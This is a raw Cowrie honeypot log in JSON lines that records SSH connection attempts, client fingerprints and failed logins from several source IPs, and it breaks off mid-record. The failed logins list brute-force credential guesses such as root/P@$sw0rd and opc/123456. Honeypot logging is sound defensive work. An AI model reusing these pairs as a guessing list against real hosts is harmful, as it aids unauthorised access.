{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:08.504052Z","src_ip":"162.241.239.241","session":"b0a86197b4cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apia_samoa","password":"apia123","message":"login attempt [apia_samoa/apia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:08.594879Z","src_ip":"162.241.239.241","session":"b0a86197b4cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:09.626737Z","src_ip":"162.241.239.241","session":"b0a86197b4cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.187.165.26","src_port":48442,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dd98539fbf5","protocol":"ssh","message":"New connection: 103.187.165.26:48442 (10.17.0.5:22) [session: 5dd98539fbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:12.281397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:12.285454Z","src_ip":"103.187.165.26","session":"5dd98539fbf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:12.533623Z","src_ip":"103.187.165.26","session":"5dd98539fbf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$sw0rd","message":"login attempt [root/P@$sw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:13.556540Z","src_ip":"103.187.165.26","session":"5dd98539fbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:14.807326Z","src_ip":"103.187.165.26","session":"5dd98539fbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:21.927555Z","src_ip":"8.210.75.243","session":"3a98ed6efaa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.32741641998291,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:22.080912Z","src_ip":"170.64.224.25","session":"d28d534a0f29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38726,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3f7087efd8a","protocol":"ssh","message":"New connection: 165.154.137.186:38726 (10.17.0.5:22) [session: a3f7087efd8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:28.958158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:28.961480Z","src_ip":"165.154.137.186","session":"a3f7087efd8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:29.211896Z","src_ip":"165.154.137.186","session":"a3f7087efd8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:30.006032Z","src_ip":"165.154.137.186","session":"a3f7087efd8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:31.259401Z","src_ip":"165.154.137.186","session":"a3f7087efd8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35274,"dst_ip":"10.17.0.5","dst_port":22,"session":"6765098a037a","protocol":"ssh","message":"New connection: 165.154.137.186:35274 (10.17.0.5:22) [session: 6765098a037a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:37.939081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:37.942917Z","src_ip":"165.154.137.186","session":"6765098a037a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:38.203036Z","src_ip":"165.154.137.186","session":"6765098a037a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:38.984584Z","src_ip":"165.154.137.186","session":"6765098a037a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:40.247908Z","src_ip":"165.154.137.186","session":"6765098a037a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38734,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ce33cbf9877","protocol":"ssh","message":"New connection: 165.154.137.186:38734 (10.17.0.5:22) [session: 4ce33cbf9877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:42.006914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:42.010961Z","src_ip":"165.154.137.186","session":"4ce33cbf9877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:42.259157Z","src_ip":"165.154.137.186","session":"4ce33cbf9877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:43.120541Z","src_ip":"165.154.137.186","session":"4ce33cbf9877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:44.370942Z","src_ip":"165.154.137.186","session":"4ce33cbf9877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37024,"dst_ip":"10.17.0.5","dst_port":22,"session":"7266342f4e2c","protocol":"ssh","message":"New connection: 165.154.137.186:37024 (10.17.0.5:22) [session: 7266342f4e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:46.803077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:46.806720Z","src_ip":"165.154.137.186","session":"7266342f4e2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:47.083922Z","src_ip":"165.154.137.186","session":"7266342f4e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:47.916484Z","src_ip":"165.154.137.186","session":"7266342f4e2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:49.196169Z","src_ip":"165.154.137.186","session":"7266342f4e2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:52.368404Z","src_ip":"8.210.75.243","session":"0e128d0af049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.50","src_port":32938,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d6c60f5306c","protocol":"ssh","message":"New connection: 101.47.159.50:32938 (10.17.0.5:22) [session: 6d6c60f5306c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:53.394394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:53.397720Z","src_ip":"101.47.159.50","session":"6d6c60f5306c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:53.640757Z","src_ip":"101.47.159.50","session":"6d6c60f5306c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q123456.","message":"login attempt [ubuntu/q123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:54.649524Z","src_ip":"101.47.159.50","session":"6d6c60f5306c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:55.895593Z","src_ip":"101.47.159.50","session":"6d6c60f5306c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":53738,"dst_ip":"10.17.0.5","dst_port":22,"session":"b13869fd2083","protocol":"ssh","message":"New connection: 165.154.137.186:53738 (10.17.0.5:22) [session: b13869fd2083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:57.127072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:57.130818Z","src_ip":"165.154.137.186","session":"b13869fd2083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:57.377773Z","src_ip":"165.154.137.186","session":"b13869fd2083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:58.124491Z","src_ip":"165.154.137.186","session":"b13869fd2083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":60254,"dst_ip":"10.17.0.5","dst_port":22,"session":"f52531eff925","protocol":"ssh","message":"New connection: 103.172.78.219:60254 (10.17.0.5:22) [session: f52531eff925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:58.992273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:58.995378Z","src_ip":"103.172.78.219","session":"f52531eff925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp25